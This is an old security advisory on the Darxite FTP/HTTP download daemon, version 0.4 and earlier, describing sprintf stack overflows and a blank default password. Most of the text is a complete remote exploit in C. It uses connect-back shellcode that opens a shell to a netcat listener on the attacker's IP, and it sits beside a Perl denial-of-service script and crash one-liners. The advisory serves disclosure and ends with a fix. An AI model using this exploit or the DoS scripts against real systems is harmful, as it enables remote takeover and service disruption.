COMMAND
darxite
SYSTEMS AFFECTED
All versions up to and including 0.4
PROBLEM
'dethy' found following and Scrippie & dethy exploited it.
"Darxite" is a daemon, written by Ashley Montanaro, whose job is
to retrieve files via FTP or HTTP and execute other FTP commands,
and a number of "client" programs whose jobs are to control the
daemon.
1. This is a very simple problem. Vulnerability exist in a number
of places throughout the code, allowing a local/remote user to
send more than the predefined buffer causing the server to
crash, and process die. Daemon does not leave a coredump of the
memory image since it uses a `case SIGSEGV: ..` but
nevertheless the program will crash.
2. Now there is also a passwd authentication remote overflow,
allowing remote shell access as the uid of the darxite daemon.
From Library/sockets.c
char buffer[256];
..
sprintf(buffer, "%s\n", name);
..
sprintf(buffer, "%s\n, password);
As you can see, specifying more than 256 bytes will cause a
stack overflow. Scrippie has provided a working demonstration
exploit, as seen below.
/*
Darxite Daemon v0.4 password authentication overflow
----------------------------------------------------
I tried to use some easy functions for string creation, and they seem to
work pretty quick (no more hours of frustration writing for loops :).
As always I used my own shellcode, you should do a "nc -l -p 27002" on the
machine you fill in as "your IP" and execute this - if it works you'll have
a shell in the netcat session.
-- Scrippie/ronald@grafix.nl
*/
/* Synnergy.net 2000 (c) */
#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <string.h>
#define DARX_BUF 1024
#define NUM_NOPS 1000
int xconnect(unsigned long, unsigned int);
void readBanner(int socket);
char *strcreat(char *, char *, int);
char *stralign(char *, int);
char *longToChar(unsigned long);
char hellcode[]=
"\xeb\x7a\x5e\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x8d\x4e"
"\x1c\xb2\x01\x89\x56\x20\xb2\x06\x89\x56\x24\xb2\x02\x89\x56"
"\x1c\xcd\x80\x89\x46\x18\x89\x16\x66\xc7\x46\x02\x69\x7a\x89"
"\x46\x1c\x8d\x06\x89\x46\x20\x80\xc2\x0e\x89\x56\x24\x31\xc0"
"\x04\x66\x80\xc3\x02\x8d\x4e\x1c\xcd\x80\x31\xc0\x04\x3f\x89"
"\xc2\x8b\x5e\x18\x31\xc9\xcd\x80\x89\xd0\x41\xcd\x80\x89\xd0"
"\x41\xcd\x80\x31\xc0\x8d\x7e\x0f\x80\xc1\x07\xf3\xaa\x04\x0b"
"\x8d\x5e\x08\x89\x5e\x10\x8d\x4e\x10\x31\xd2\xcd\x80\x31\xc0"
"\xfe\xc0\xcd\x80\xe8\x81\xff\xff\xff\x41\x41\x42\x42\xBB\xBB"
"\xBB\xBB\x2f\x62\x69\x6e\x2f\x73\x68";
int main(int argc, char **argv)
{
int sd;
unsigned int align=0;
unsigned long sip, retaddy=0xbffff928;
char *iploc, *evilstring;
if(argc < 4) {
printf("Use as: %s <target IP> <target port> <your ip> [ret addy]
[align]
\n", argv[0]);
exit(0);
}
if((sip = inet_addr(argv[3])) == -1) {
perror("inet_addr()");
exit(-1);
}
if(argc > 4) retaddy = strtoul(argv[4], NULL, 16);
if(argc > 5) align = atoi(argv[5]);
printf("Using return address: 0x%lx\n", retaddy);
printf("Using alignment: %d\n", align);
/* Locate the IP position in the shellcode */
iploc=(char *)strchr(hellcode, 0xBB);
memcpy((void *) iploc, (void *) &sip, 4);
/* Generate the overflow string */
evilstring = strcreat(NULL, "A", align);
/* We memory leak 5 bytes here, don't make a service out of this :) */
evilstring = strcreat(evilstring, longToChar(retaddy), (DARX_BUF+8)>>2);
evilstring = strcreat(evilstring, "\x90", NUM_NOPS);
evilstring = strcreat(evilstring, hellcode, 1);
sd = xconnect(inet_addr(argv[1]), atoi(argv[2]));
printf("Connected... Now sending overflow...\n");
send(sd, evilstring, strlen(evilstring)+1, 0);
free(evilstring);
return(0);
}
/*
Returns the socket descriptor to "ip" on "port"
*/
int xconnect(unsigned long ip, unsigned int port)
{
struct sockaddr_in sa; /* Sockaddr */
int sd; /* Socket Descriptor */
if((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(-1);
}
memset(&sa, 0x00, sizeof(struct sockaddr_in));
sa.sin_port=htons(port);
sa.sin_addr.s_addr=ip;
if(connect(sd, &sa, sizeof(struct sockaddr_in)) == -1) {
perror("connect()");
exit(-1);
}
return(sd);
}
/*
Yummy yummy function for easy string creation
*/
char *strcreat(char *dest, char *pattern, int repeat)
{
char *ret;
size_t plen, dlen=0;
int i;
if(dest) dlen = strlen(dest);
plen = strlen(pattern);
ret = (char *)realloc(dest, dlen+repeat*plen+1);
for(i=0;i<repeat;i++) {
strcat(ret, pattern);
}
return(ret);
}
/*
Converts a long to an array containing this long
*/
char *longToChar(unsigned long blaat)
{
unsigned int i;
char *ret;
ret = (char *)malloc(sizeof(long)+1);
for(i=0;i<sizeof(long);i++) {
ret[i] = (blaat >> (i<<3)) & 0xff;
}
ret[sizeof(long)] = 0x00;
return(ret);
}
Below is some of the offending code causing a remote DoS.
For local users specifying the -f <file> for `darxcmd` will force
the client to read in an arbitary config file into a buffer of
limit 4096. Upon connection to the server, darxcmd will crash by
specifying any of the below parameters.
From daemon/http.c
if (strcmp(DX_ProxyHostName, "") && (DX_ProxyPort > 0))
{
sprintf(get_string, "GET %s://%s%s HTTP/1.0", file->Protocol,
file->ActualServer->Name, file->Path);
}
else
{
sprintf(get_string, "GET %s HTTP/1.0", file->Path);
}
sprintf(buffer,
"%s\r\n"
"Host: %s\r\n"
"User-Agent: Darxite/%s\r\n"
"%s\r\n",
get_string, file->ActualServer->Name, RELEASE_VER, range);
sprintf(buffer, "\"%s://%s%s\" | \"%s\" | %s | %s | %s | %d",
file->Protocol, file->Server->Name, file->Path,
file->LocalPath, file->LogIn, file->Password,
file->Flags, total_size);
Likewise in daemon/ftp.c
char get_buffer[256];
..
sprintf(get_buffer, "%s://%s%s/%s | %s/%s | %s | "
"%s | %s | %s", file->Protocol,
file->ActualServer->Name, path_buffer,
line_ptr, local_path, line_ptr,
file->LogIn, file->Password, new_flags,
size);
.. and daemon/files.c
char line_buffer[1024];
..
sprintf(line_buffer, "\"%s://%s%s\" | \"%s\" | %s | %s | %s | "
"%d\n", new_file->Protocol, server->Name,
new_file->Path, new_file->LocalPath,
new_file->LogIn, new_file->Password,
new_file->Flags, new_file->TotalSize);
/* list goes on.. */
Note: by default installation of Darxide the password is blank!
[ syn:/home/deth ]$ telnet localhost 69
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
900 Welcome to Darxite 0.4. Enter your password.
<enter>
900 Password OK; tell me your name.
any-name-will-do
900 "any-name-will-do" connected OK.
Get [buffer exceeding 1024 chars]
DX: Segment violation. Lots of features mean lots of bugs.
Connection closed by foreign host.
[ syn:/home/deth ]$
/* Server has crashed and process killed */
We could also do something like:
[ syn:/home/deth ]$ darxget -clocalhost:2000 -o- `perl -e 'print "A"x1024'`
Enter Passsword for daemon on localhost:
<enter>
/* Now checking the daemon logs */
DX. Segmentation violation.
Connection closed by foreign host.
Although we doubt you'll find many server's running it, here is
a very basic and trivial perl exploit for proof of concept.
#!/usr/bin/perl
# lame DoS
#
use Getopt::Std;
use Socket;
getopt('s:p', \%args);
if(!defined($args{s}) && !defined($args{p})){&usage;}
$serv = $args{s};
$port = $args{p};
$foo = "A";
$bar = 1024;
$foobar .= $foo x $bar;
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(S, $paddr) || die("Error: $!\n");
select(S); $| = 1; select(STDOUT);
$res=<S>; print "$res\n";
sleep 1;
print S "\r\n";
$res=<S>; print "$res\n";
sleep 1;
print S "guest\n";
$res=<S>; print "$res\n";
sleep 1;
print S $foobar || die("Error: $!\n");
close(S);
print("killed Darxite successfully. Feeling better now?\n");
sub usage {die("\n\n$0 -s <server> -p <port>\n\n");}
SOLUTION
Wait until the next patched version of Darxite comes out, or even
changed the code yourself if this program is that important to
you. (snprintf() isn't the hardest thing.)